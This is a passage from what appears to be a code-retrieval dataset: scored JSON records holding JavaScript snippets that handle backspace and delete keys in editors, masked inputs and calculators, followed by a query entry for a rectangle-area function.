i - 1;\n maskItem.character = '';\n break;\n }\n else {\n newSelectionStart = selectionStart - 1;\n break;\n }\n }\n }\n else {\n for (let i = selectionStart; i < that._mask.length; i++) {\n const maskItem = that._mask[i];\n\n if (maskItem.type === 'mask') {\n newSelectionStart = i + 1;\n maskItem.character = '';\n break;\n }\n else {\n newSelectionStart = selectionStart + 1;\n break;\n }\n }\n }\n }\n else {\n that._cleanMask(selectionStart, selectionEnd);\n if (key === 'Delete') {\n newSelectionStart = selectionEnd;\n }\n }\n\n that._setMaskToInput();\n that._updateMaskFullAndCompleted();\n that.value = that._getValueWithTextMaskFormat({ start: 0, end: that._mask.length }, that.textMaskFormat);\n that.$.input.selectionStart = that.$.input.selectionEnd = newSelectionStart;\n }", "title": "" }, { "docid": "eeaa094ee35b58f7aea9f8a8c091335d", "score": "0.59685075", "text": "function undoLastUnicode(e) {\n e.stopPropagation();\n e.preventDefault();\n\n if (unicodeConversionStack.length === 0)\n return;\n\n var uc = unicodeConversionStack.shift();\n\n $ta = $(this).closest(\".post-area-new\").find(\"textarea\");\n var pt = $ta.val();\n\n if (pt.substr(uc.p, uc.u.length) === uc.u)\n $ta.val(pt.substr(0,uc.p) + uc.k + pt.substr(uc.p + uc.u.length));\n else {\n //if it can't be found at its index, last unicode will be removed\n var i = pt.lastIndexOf(uc.u);\n if (i>-1) {\n $ta.val(pt.substr(0,i) + uc.k + pt.substr(i + uc.u.length));\n }\n }\n\n if (unicodeConversionStack.length > 0)\n $(this).text(\"undo: \" + unicodeConversionStack[0].u);\n else\n $.MAL.disableButton($(this));\n\n lastConvertedIndex = $ta.val().length;\n}", "title": "" }, { "docid": "60a34e2a3bd88270e3a2ec283abe3e08", "score": "0.59624416", "text": "function deleteControlItemOnBackSpace() {\n\t\t\teditor.on('keydown', function(e) {\n\t\t\t\tvar rng;\n\n\t\t\t\tif (!isDefaultPrevented(e) && e.keyCode == BACKSPACE) {\n\t\t\t\t\trng = editor.getDoc().selection.createRange();\n\t\t\t\t\tif (rng && rng.item) {\n\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\teditor.undoManager.beforeChange();\n\t\t\t\t\t\tdom.remove(rng.item(0));\n\t\t\t\t\t\teditor.undoManager.add();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "60a34e2a3bd88270e3a2ec283abe3e08", "score": "0.59624416", "text": "function deleteControlItemOnBackSpace() {\n\t\t\teditor.on('keydown', function(e) {\n\t\t\t\tvar rng;\n\n\t\t\t\tif (!isDefaultPrevented(e) && e.keyCode == BACKSPACE) {\n\t\t\t\t\trng = editor.getDoc().selection.createRange();\n\t\t\t\t\tif (rng && rng.item) {\n\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\teditor.undoManager.beforeChange();\n\t\t\t\t\t\tdom.remove(rng.item(0));\n\t\t\t\t\t\teditor.undoManager.add();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "60a34e2a3bd88270e3a2ec283abe3e08", "score": "0.59624416", "text": "function deleteControlItemOnBackSpace() {\n\t\t\teditor.on('keydown', function(e) {\n\t\t\t\tvar rng;\n\n\t\t\t\tif (!isDefaultPrevented(e) && e.keyCode == BACKSPACE) {\n\t\t\t\t\trng = editor.getDoc().selection.createRange();\n\t\t\t\t\tif (rng && rng.item) {\n\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\teditor.undoManager.beforeChange();\n\t\t\t\t\t\tdom.remove(rng.item(0));\n\t\t\t\t\t\teditor.undoManager.add();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "b5183c6519b41e0dddc7bd7237a91ae0", "score": "0.5948831", "text": "function backspace(){\n\t\n\tlet stringed = calculation['operand'].toString()\n\tcalculation['operand'] = stringed.substr(0, stringed.length-1)\n\tdisplay.textContent = calculation['operand']\n}", "title": "" }, { "docid": "45c98ccd94f396c1ea8feb0d303ec61d", "score": "0.5941464", "text": "function clearPrev(maskCharData, selectionStart) {\n for (var i = maskCharData.length - 1; i >= 0; i--) {\n if (maskCharData[i].displayIndex < selectionStart) {\n maskCharData[i].value = undefined;\n break;\n }\n }\n return maskCharData;\n}", "title": "" }, { "docid": "45c98ccd94f396c1ea8feb0d303ec61d", "score": "0.5941464", "text": "function clearPrev(maskCharData, selectionStart) {\n for (var i = maskCharData.length - 1; i >= 0; i--) {\n if (maskCharData[i].displayIndex < selectionStart) {\n maskCharData[i].value = undefined;\n break;\n }\n }\n return maskCharData;\n}", "title": "" }, { "docid": "dae50e911e7b65d90c5054777d975847", "score": "0.59361637", "text": "function backspace (string) {\n if(string.charAt(string.length-1) === \".\") enableDecimal();\n return string.substring(0,string.length-1);\n}", "title": "" }, { "docid": "631e0c4093b6fdcd5c5013b9e286d4d5", "score": "0.5933684", "text": "static rejectBackspace(evt) {\n if (evt.which === 8 && !App.isEditable(evt)) {\n evt.preventDefault();\n }\n }", "title": "" }, { "docid": "914e8d98cc666a2cd0cfbcbec089d6ac", "score": "0.5873403", "text": "function deleteCharAtPos(){\n if (promptText != ''){\n promptText =\n promptText.substring(0,column) +\n promptText.substring(column+1);\n restoreText = promptText;\n return true;\n } else return false;\n }", "title": "" }, { "docid": "f78bc76906dcd466d30267fb82730f19", "score": "0.5863529", "text": "function charDeletedIsEmpty(key,textVal, currentVal){\n \t//process backspace key\n \tif (key.keyCode == 8 && textVal.trim() == currentVal.trim()){\n\t\t\treturn true;\n \t}\n \t//process delete key\n \tif (key.keyCode == 46 && textVal.trim() == currentVal.trim()){\n\t\t\treturn true;\n \t} \t\n }", "title": "" }, { "docid": "c80e04647c8e84937d2593843b2e6bb3", "score": "0.5856028", "text": "function backspace() {\n if (userInput.value.length > 0) {\n userInput.value = userInput.value.slice(0, userInput.value.length - 1);\n let tileObj = usedTiles[usedTiles.length - 1];\n tileObj.tile.classList.remove(\"used\");\n tileObj, (used = false);\n usedTiles.pop();\n }\n }", "title": "" }, { "docid": "27c4369695537a980b0f4d13f8abca24", "score": "0.58449167", "text": "function removeBlockQuoteOnBackSpace() {\n\t\t\t// Add block quote deletion handler\n\t\t\teditor.on('keydown', function(e) {\n\t\t\t\tvar rng, container, offset, root, parent;\n\n\t\t\t\tif (isDefaultPrevented(e) || e.keyCode != VK.BACKSPACE) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\trng = selection.getRng();\n\t\t\t\tcontainer = rng.startContainer;\n\t\t\t\toffset = rng.startOffset;\n\t\t\t\troot = dom.getRoot();\n\t\t\t\tparent = container;\n\n\t\t\t\tif (!rng.collapsed || offset !== 0) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\twhile (parent && parent.parentNode && parent.parentNode.firstChild == parent && parent.parentNode != root) {\n\t\t\t\t\tparent = parent.parentNode;\n\t\t\t\t}\n\n\t\t\t\t// Is the cursor at the beginning of a blockquote?\n\t\t\t\tif (parent.tagName === 'BLOCKQUOTE') {\n\t\t\t\t\t// Remove the blockquote\n\t\t\t\t\teditor.formatter.toggle('blockquote', null, parent);\n\n\t\t\t\t\t// Move the caret to the beginning of container\n\t\t\t\t\trng = dom.createRng();\n\t\t\t\t\trng.setStart(container, 0);\n\t\t\t\t\trng.setEnd(container, 0);\n\t\t\t\t\tselection.setRng(rng);\n\t\t\t\t}\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "27c4369695537a980b0f4d13f8abca24", "score": "0.58449167", "text": "function removeBlockQuoteOnBackSpace() {\n\t\t\t// Add block quote deletion handler\n\t\t\teditor.on('keydown', function(e) {\n\t\t\t\tvar rng, container, offset, root, parent;\n\n\t\t\t\tif (isDefaultPrevented(e) || e.keyCode != VK.BACKSPACE) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\trng = selection.getRng();\n\t\t\t\tcontainer = rng.startContainer;\n\t\t\t\toffset = rng.startOffset;\n\t\t\t\troot = dom.getRoot();\n\t\t\t\tparent = container;\n\n\t\t\t\tif (!rng.collapsed || offset !== 0) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\twhile (parent && parent.parentNode && parent.parentNode.firstChild == parent && parent.parentNode != root) {\n\t\t\t\t\tparent = parent.parentNode;\n\t\t\t\t}\n\n\t\t\t\t// Is the cursor at the beginning of a blockquote?\n\t\t\t\tif (parent.tagName === 'BLOCKQUOTE') {\n\t\t\t\t\t// Remove the blockquote\n\t\t\t\t\teditor.formatter.toggle('blockquote', null, parent);\n\n\t\t\t\t\t// Move the caret to the beginning of container\n\t\t\t\t\trng = dom.createRng();\n\t\t\t\t\trng.setStart(container, 0);\n\t\t\t\t\trng.setEnd(container, 0);\n\t\t\t\t\tselection.setRng(rng);\n\t\t\t\t}\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "27c4369695537a980b0f4d13f8abca24", "score": "0.58449167", "text": "function removeBlockQuoteOnBackSpace() {\n\t\t\t// Add block quote deletion handler\n\t\t\teditor.on('keydown', function(e) {\n\t\t\t\tvar rng, container, offset, root, parent;\n\n\t\t\t\tif (isDefaultPrevented(e) || e.keyCode != VK.BACKSPACE) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\trng = selection.getRng();\n\t\t\t\tcontainer = rng.startContainer;\n\t\t\t\toffset = rng.startOffset;\n\t\t\t\troot = dom.getRoot();\n\t\t\t\tparent = container;\n\n\t\t\t\tif (!rng.collapsed || offset !== 0) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\twhile (parent && parent.parentNode && parent.parentNode.firstChild == parent && parent.parentNode != root) {\n\t\t\t\t\tparent = parent.parentNode;\n\t\t\t\t}\n\n\t\t\t\t// Is the cursor at the beginning of a blockquote?\n\t\t\t\tif (parent.tagName === 'BLOCKQUOTE') {\n\t\t\t\t\t// Remove the blockquote\n\t\t\t\t\teditor.formatter.toggle('blockquote', null, parent);\n\n\t\t\t\t\t// Move the caret to the beginning of container\n\t\t\t\t\trng = dom.createRng();\n\t\t\t\t\trng.setStart(container, 0);\n\t\t\t\t\trng.setEnd(container, 0);\n\t\t\t\t\tselection.setRng(rng);\n\t\t\t\t}\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "2482cca0df2246751b8d339dfefc418f", "score": "0.5831783", "text": "stripTrailingSpace() {\n if (this.openChild) return\n let last = this.content[this.content.length - 1], m\n if (last && last.isText && (m = /\\s+$/.exec(last.text))) {\n if (last.text.length == m[0].length) this.content.pop()\n else this.content[this.content.length - 1] = last.withText(last.text.slice(0, last.text.length - m[0].length))\n }\n }", "title": "" }, { "docid": "50e3bf122ee385321371f390416758d8", "score": "0.582757", "text": "onRemove(position, length) {\n const previous = this.snapshot.replace(/\\r\\n/g, '\\n');\n this.replaceText(previous.slice(0, position) + previous.slice(position + length));\n }", "title": "" }, { "docid": "3581137c459edd6695040742e0d2d363", "score": "0.5824107", "text": "function delLastChar( s ){\n\treturn delLast(s,1);\n}", "title": "" }, { "docid": "5b5d415003f820de5f4f80716b430aa7", "score": "0.5817022", "text": "function deleteOldLetter(){\n if(letters[0].y > 410){\n letters.shift()\n \n }\n }", "title": "" }, { "docid": "2d7b4fb980d7da8026a2aa1aab1aafc1", "score": "0.58047736", "text": "eliminar() {\n if (this.app.keyCode == this.app.BACKSPACE) {\n this.contador -= 1;\n this.textBox = this.textBox.slice(0, -1);\n }\n\n this.contador += 1;\n\n if (this.app.keyCode == this.app.ENTER) {\n this.textBox = this.textBox + \"\\n\";\n this.contador = 0;\n\n }\n if (this.contador == 25 &&\n this.app.keyCode != this.app.BACKSPACE &&\n this.app.keyCode != this.app.ENTER) {\n this.textBox = this.textBox + \"\\n\";\n this.contador = 0;\n }\n\n }", "title": "" }, { "docid": "90e0fc0243ae1f4943ee90bbc5c051ab", "score": "0.57977074", "text": "function keyCommandBackspaceWord(editorState) {\n\t var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n\t var selection = strategyState.getSelection();\n\t var offset = selection.getStartOffset();\n\t // If there are no words before the cursor, remove the preceding newline.\n\t if (offset === 0) {\n\t return moveSelectionBackward(strategyState, 1);\n\t }\n\t var key = selection.getStartKey();\n\t var content = strategyState.getCurrentContent();\n\t var text = content.getBlockForKey(key).getText().slice(0, offset);\n\t var toRemove = DraftRemovableWord.getBackward(text);\n\t return moveSelectionBackward(strategyState, toRemove.length || 1);\n\t }, 'backward');\n\n\t if (afterRemoval === editorState.getCurrentContent()) {\n\t return editorState;\n\t }\n\n\t return EditorState.push(editorState, afterRemoval, 'remove-range');\n\t}", "title": "" }, { "docid": "007a6496e8a633f96c87604dd881d904", "score": "0.5772215", "text": "function backSpace()\n{\n\tvar input_var=document.getElementById('input');\n\tif(input_var.value.length>0)\n\t\tinput_var.value=input_var.value.slice(0,input_var.value.length-1);\n}", "title": "" }, { "docid": "2d2fa7af7b5bad13f3ec21f07ff4eadc", "score": "0.5757928", "text": "function handleDelete(input) {\r\n if (input.length > 0) {\r\n input = input.substring(0, input.length - 1);\r\n }\r\n return input;\r\n}", "title": "" }, { "docid": "481b5450736aec3a9dc39817a09f12cd", "score": "0.57519263", "text": "function keyCommandBackspaceWord(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var offset = selection.getStartOffset();\n // If there are no words before the cursor, remove the preceding newline.\n if (offset === 0) {\n return moveSelectionBackward(strategyState, 1);\n }\n var key = selection.getStartKey();\n var content = strategyState.getCurrentContent();\n var text = content.getBlockForKey(key).getText().slice(0, offset);\n var toRemove = DraftRemovableWord.getBackward(text);\n return moveSelectionBackward(strategyState, toRemove.length || 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n return EditorState.push(editorState, afterRemoval, 'remove-range');\n}", "title": "" }, { "docid": "481b5450736aec3a9dc39817a09f12cd", "score": "0.57519263", "text": "function keyCommandBackspaceWord(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var offset = selection.getStartOffset();\n // If there are no words before the cursor, remove the preceding newline.\n if (offset === 0) {\n return moveSelectionBackward(strategyState, 1);\n }\n var key = selection.getStartKey();\n var content = strategyState.getCurrentContent();\n var text = content.getBlockForKey(key).getText().slice(0, offset);\n var toRemove = DraftRemovableWord.getBackward(text);\n return moveSelectionBackward(strategyState, toRemove.length || 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n return EditorState.push(editorState, afterRemoval, 'remove-range');\n}", "title": "" }, { "docid": "481b5450736aec3a9dc39817a09f12cd", "score": "0.57519263", "text": "function keyCommandBackspaceWord(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var offset = selection.getStartOffset();\n // If there are no words before the cursor, remove the preceding newline.\n if (offset === 0) {\n return moveSelectionBackward(strategyState, 1);\n }\n var key = selection.getStartKey();\n var content = strategyState.getCurrentContent();\n var text = content.getBlockForKey(key).getText().slice(0, offset);\n var toRemove = DraftRemovableWord.getBackward(text);\n return moveSelectionBackward(strategyState, toRemove.length || 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n return EditorState.push(editorState, afterRemoval, 'remove-range');\n}", "title": "" }, { "docid": "481b5450736aec3a9dc39817a09f12cd", "score": "0.57519263", "text": "function keyCommandBackspaceWord(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var offset = selection.getStartOffset();\n // If there are no words before the cursor, remove the preceding newline.\n if (offset === 0) {\n return moveSelectionBackward(strategyState, 1);\n }\n var key = selection.getStartKey();\n var content = strategyState.getCurrentContent();\n var text = content.getBlockForKey(key).getText().slice(0, offset);\n var toRemove = DraftRemovableWord.getBackward(text);\n return moveSelectionBackward(strategyState, toRemove.length || 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n return EditorState.push(editorState, afterRemoval, 'remove-range');\n}", "title": "" }, { "docid": "481b5450736aec3a9dc39817a09f12cd", "score": "0.57519263", "text": "function keyCommandBackspaceWord(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var offset = selection.getStartOffset();\n // If there are no words before the cursor, remove the preceding newline.\n if (offset === 0) {\n return moveSelectionBackward(strategyState, 1);\n }\n var key = selection.getStartKey();\n var content = strategyState.getCurrentContent();\n var text = content.getBlockForKey(key).getText().slice(0, offset);\n var toRemove = DraftRemovableWord.getBackward(text);\n return moveSelectionBackward(strategyState, toRemove.length || 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n return EditorState.push(editorState, afterRemoval, 'remove-range');\n}", "title": "" }, { "docid": "481b5450736aec3a9dc39817a09f12cd", "score": "0.57519263", "text": "function keyCommandBackspaceWord(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var offset = selection.getStartOffset();\n // If there are no words before the cursor, remove the preceding newline.\n if (offset === 0) {\n return moveSelectionBackward(strategyState, 1);\n }\n var key = selection.getStartKey();\n var content = strategyState.getCurrentContent();\n var text = content.getBlockForKey(key).getText().slice(0, offset);\n var toRemove = DraftRemovableWord.getBackward(text);\n return moveSelectionBackward(strategyState, toRemove.length || 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n return EditorState.push(editorState, afterRemoval, 'remove-range');\n}", "title": "" }, { "docid": "481b5450736aec3a9dc39817a09f12cd", "score": "0.57519263", "text": "function keyCommandBackspaceWord(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var offset = selection.getStartOffset();\n // If there are no words before the cursor, remove the preceding newline.\n if (offset === 0) {\n return moveSelectionBackward(strategyState, 1);\n }\n var key = selection.getStartKey();\n var content = strategyState.getCurrentContent();\n var text = content.getBlockForKey(key).getText().slice(0, offset);\n var toRemove = DraftRemovableWord.getBackward(text);\n return moveSelectionBackward(strategyState, toRemove.length || 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n return EditorState.push(editorState, afterRemoval, 'remove-range');\n}", "title": "" }, { "docid": "481b5450736aec3a9dc39817a09f12cd", "score": "0.57519263", "text": "function keyCommandBackspaceWord(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var offset = selection.getStartOffset();\n // If there are no words before the cursor, remove the preceding newline.\n if (offset === 0) {\n return moveSelectionBackward(strategyState, 1);\n }\n var key = selection.getStartKey();\n var content = strategyState.getCurrentContent();\n var text = content.getBlockForKey(key).getText().slice(0, offset);\n var toRemove = DraftRemovableWord.getBackward(text);\n return moveSelectionBackward(strategyState, toRemove.length || 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n return EditorState.push(editorState, afterRemoval, 'remove-range');\n}", "title": "" }, { "docid": "481b5450736aec3a9dc39817a09f12cd", "score": "0.57519263", "text": "function keyCommandBackspaceWord(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var offset = selection.getStartOffset();\n // If there are no words before the cursor, remove the preceding newline.\n if (offset === 0) {\n return moveSelectionBackward(strategyState, 1);\n }\n var key = selection.getStartKey();\n var content = strategyState.getCurrentContent();\n var text = content.getBlockForKey(key).getText().slice(0, offset);\n var toRemove = DraftRemovableWord.getBackward(text);\n return moveSelectionBackward(strategyState, toRemove.length || 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n return EditorState.push(editorState, afterRemoval, 'remove-range');\n}", "title": "" }, { "docid": "a61c32b7fa03d599cfad1b5bbc321d7f", "score": "0.56793725", "text": "function backspace()\r\n{\r\nvar exp = document.getElementById(\"inpbox\").value;\r\ndocument.getElementById(\"inpbox\").value = exp.substring(0, exp.length - 1); \r\n}", "title": "" }, { "docid": "7c02d31b72a28230a6a7945b179a5492", "score": "0.5677507", "text": "function removeLetter(element) {\n\tvar subStr = element.target.innerHTML.substring(0, element.target.innerHTML.length - 2);\n\telement.target.innerHTML = subStr + \"|\";\n}", "title": "" }, { "docid": "e2e289db78889dcf412007d5393f4be9", "score": "0.5677356", "text": "function changedDelimiter(del) {\n\ttry {\n\t\tvar regex = new RegExp(del);\n\t\tcurrentDelimiter = (del === null || del === \"\") ? \"\\n\" : del;\n\t} catch (e) {\n\t\tcurrentDelimiter = \"\\n\";\n\t}\n\tpreview();\n}", "title": "" }, { "docid": "9c73f7851a98fc06de6886dfd826efe9", "score": "0.56510544", "text": "function deleteLastDigit() {\n activeNumber = activeNumber.slice(0, -1);\n updateScreen();\n}", "title": "" }, { "docid": "2f62a416f2fea8df95d0c2d23a14fbf8", "score": "0.5629591", "text": "function backspace() {\n // Make sure it is a string\n display = display + \"\";\n\n if (display.length == 1) { // If it is just one number set it to 0\n display = 0;\n } else { // If it longer than one number, remove the last one\n let temporary_display = display.substring(0, display.length - 1);\n display = temporary_display;\n }\n document.getElementById(\"display\").value = display;\n}", "title": "" }, { "docid": "8065e99403808616cc6d037df081dd3f", "score": "0.56074584", "text": "function undo() {\n updateFormula(function(text) {\n return text.slice(0, -1);\n });\n }", "title": "" }, { "docid": "f9dda053f3558fca1769b05376a78b92", "score": "0.55946434", "text": "function disableBackspaceIntoATable() {\n\t\t\teditor.on('keydown', function(e) {\n\t\t\t\tif (!isDefaultPrevented(e) && e.keyCode === BACKSPACE) {\n\t\t\t\t\tif (selection.isCollapsed() && selection.getRng(true).startOffset === 0) {\n\t\t\t\t\t\tvar previousSibling = selection.getNode().previousSibling;\n\t\t\t\t\t\tif (previousSibling && previousSibling.nodeName && previousSibling.nodeName.toLowerCase() === \"table\") {\n\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "f9dda053f3558fca1769b05376a78b92", "score": "0.55946434", "text": "function disableBackspaceIntoATable() {\n\t\t\teditor.on('keydown', function(e) {\n\t\t\t\tif (!isDefaultPrevented(e) && e.keyCode === BACKSPACE) {\n\t\t\t\t\tif (selection.isCollapsed() && selection.getRng(true).startOffset === 0) {\n\t\t\t\t\t\tvar previousSibling = selection.getNode().previousSibling;\n\t\t\t\t\t\tif (previousSibling && previousSibling.nodeName && previousSibling.nodeName.toLowerCase() === \"table\") {\n\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "f9dda053f3558fca1769b05376a78b92", "score": "0.55946434", "text": "function disableBackspaceIntoATable() {\n\t\t\teditor.on('keydown', function(e) {\n\t\t\t\tif (!isDefaultPrevented(e) && e.keyCode === BACKSPACE) {\n\t\t\t\t\tif (selection.isCollapsed() && selection.getRng(true).startOffset === 0) {\n\t\t\t\t\t\tvar previousSibling = selection.getNode().previousSibling;\n\t\t\t\t\t\tif (previousSibling && previousSibling.nodeName && previousSibling.nodeName.toLowerCase() === \"table\") {\n\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "c8fde32afa129ea427945bedcd286d82", "score": "0.5563536", "text": "function removeLast() {\n\tlet displayText = document.getElementById('displayText')\n\tlet textContent = displayText.textContent;\n\tlet textContentLength = textContent.length;\n\tlet previousChar = textContent.charAt(textContentLength - 1);\n\tlet last2Chars = textContent.charAt(textContentLength - 2) + previousChar;\n\tif (textContent) {\n\t\t//removes both parts of the square root upon button click\n\t\tif (last2Chars === '√(') {\n\t\t\ttextContent = textContent.slice(0,(textContentLength - 2));\n\t\t\tdisplayText.textContent = textContent;\n\t\t}\n\t\t\n\t\ttextContent = textContent.slice(0,(textContentLength - 1));\n\t\tif (textContent) {\n\t\t\tdisplayText.textContent = textContent;\n\t\t} else if (!textContent) {\n\t\t\ttextContent = '0';\n\t\t\tdisplayText.textContent = '0';\n\t\t}\n\t}\n\t\n}", "title": "" }, { "docid": "0f2e680f3036d4a2aa85441a0f4f53c8", "score": "0.55468225", "text": "function handleKey(e) {\n if (e.data !== '\\n'){\n var ch = e.data,\n range = selection(),// Is there an active selection?\n index = range[0] < 0 ? 0 : range[0],\n startContainer = window.getSelection().getRangeAt(0).startContainer;// look for ghost accents here\n \n if (startContainer.length > 1) {\n startContainer.textContent = startContainer.textContent[0]; // chop the ghost accent\n delete range[1]; //to avoid overriding inserting into next char\n }\n\n if (range[1]) deleteRange(range);\n insertCharacter(ch, index);\n }\n e.preventDefault();\n e.stopPropagation(); // needed?\n }", "title": "" }, { "docid": "7f611ab3a587e270a1f221f3e6c0e5c6", "score": "0.55352527", "text": "function removeStuff(anyPos) {\n process.stdout.write('\\x1B[?25h');\n cursor.bg.black();\n for (i = 0; i < anyPos.length; i++) {\n cursor.goto(anyPos[i][0] * 2 + 1, anyPos[i][1] + 1).write(' ');\n cursor.goto(anyPos[i][0] * 2 + 2, anyPos[i][1] + 1).write(' ');\n }\n cursor.reset();\n process.stdout.write('\\x1B[?25l');\n}", "title": "" }, { "docid": "07f4cdbaf8d5977327f0bc453c02adc0", "score": "0.55310494", "text": "function UnbTextKeydownHandler(where)\r\n{\r\n\tif (!window.event) return true;\r\n\tvar keycode = window.event.keyCode;\r\n\r\n\tif (keycode == 9)\r\n\t{\r\n\t\tif (document.selection.createRange().duplicate().text.length)\r\n\t\t{\r\n\t\t\tif (!window.event.shiftKey)\r\n\t\t\t{\r\n\t\t\t\tdocument.selection.createRange().duplicate().text =\r\n\t\t\t\t\t\"\\t\" +\r\n\t\t\t\t\tdocument.selection.createRange().duplicate().text.replace(/\\n/g, \"\\n\\t\") +\r\n\t\t\t\t\t\"\\n\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tdocument.selection.createRange().duplicate().text =\r\n\t\t\t\t\tdocument.selection.createRange().duplicate().text.replace(/\\n\\t/g, \"\\n\");\r\n\t\t\t\tdocument.selection.createRange().duplicate().text =\r\n\t\t\t\t\tdocument.selection.createRange().duplicate().text.replace(/^\\t/g, \"\") +\r\n\t\t\t\t\t\"\\n\";\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif (!window.event.shiftKey)\r\n\t\t\t{\r\n\t\t\t\tUnbInsertText(\"\\t\");\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn false;\r\n\t}\r\n}", "title": "" }, { "docid": "4424bee4300e31e5d5cdd23e08a9ca81", "score": "0.548924", "text": "function nullf(){}", "title": "" }, { "docid": "4574dc20b8f0ee8e66a2c78bb007d82c", "score": "0.5486216", "text": "function unedit(e) {\r\n if (e.target.innerText.length > 7) {\r\n e.target.contentEditable = false;\r\n }\r\n}", "title": "" }, { "docid": "ee06cc5e404f7990cbbbf1394a989d9d", "score": "0.54847205", "text": "function keypress(e) {\n if (e.key == 'z' && e.metaKey) {\n focused.back();\n }else if (e.key == ' ') {\n\t\tfocused.clear();\n\t}\n}", "title": "" }, { "docid": "9157c15a1570928b39406d00ab946c1d", "score": "0.54548013", "text": "function clearNext(maskCharData, selectionStart) {\n for (var i = 0; i < maskCharData.length; i++) {\n if (maskCharData[i].displayIndex >= selectionStart) {\n maskCharData[i].value = undefined;\n break;\n }\n }\n return maskCharData;\n}", "title": "" }, { "docid": "9157c15a1570928b39406d00ab946c1d", "score": "0.54548013", "text": "function clearNext(maskCharData, selectionStart) {\n for (var i = 0; i < maskCharData.length; i++) {\n if (maskCharData[i].displayIndex >= selectionStart) {\n maskCharData[i].value = undefined;\n break;\n }\n }\n return maskCharData;\n}", "title": "" }, { "docid": "9c65a244cc498ce38f9b5890616502e3", "score": "0.54483086", "text": "removeSpace() {\n\t}", "title": "" } ]
3cff4aaf2963c04f0dac39b8126f1faa
FUNCTION TO FIND THE AREA OF THE RECTANGLE GIVEN THE COORDINATES
[ { "docid": "61a598be907a6ea7ff0aeee419e1b2a8", "score": "0.60905975", "text": "function recArea(arr){\nvar x1,x2,y1,y2,side1,side2=0;\n\n\n\nx1= arr[0].match(/-?\\d*\\.{0,1}\\d+/g)[0];\ny1= arr[0].match(/-?\\d*\\.{0,1}\\d+/g)[1];\nfor(var i=1; i<arr.length; i++){\n if(arr[i].match(/-?\\d*\\.{0,1}\\d+/g)[0] != x1){\n x2= arr[i].match(/-?\\d*\\.{0,1}\\d+/g)[0];\n break; \n }\n \n}\nfor(var j=1; j<arr.length; j++){\n if(arr[j].match(/-?\\d*\\.{0,1}\\d+/g)[1] != y1){\n y2= arr[j].match(/-?\\d*\\.{0,1}\\d+/g)[1];\n break; \n }\n \n}\n\n var area= (Math.max(x1,x2)-Math.min(x1,x2)) * (Math.max(y1,y2)-Math.min(y1,y2));\n return area; \n}", "title": "" } ]
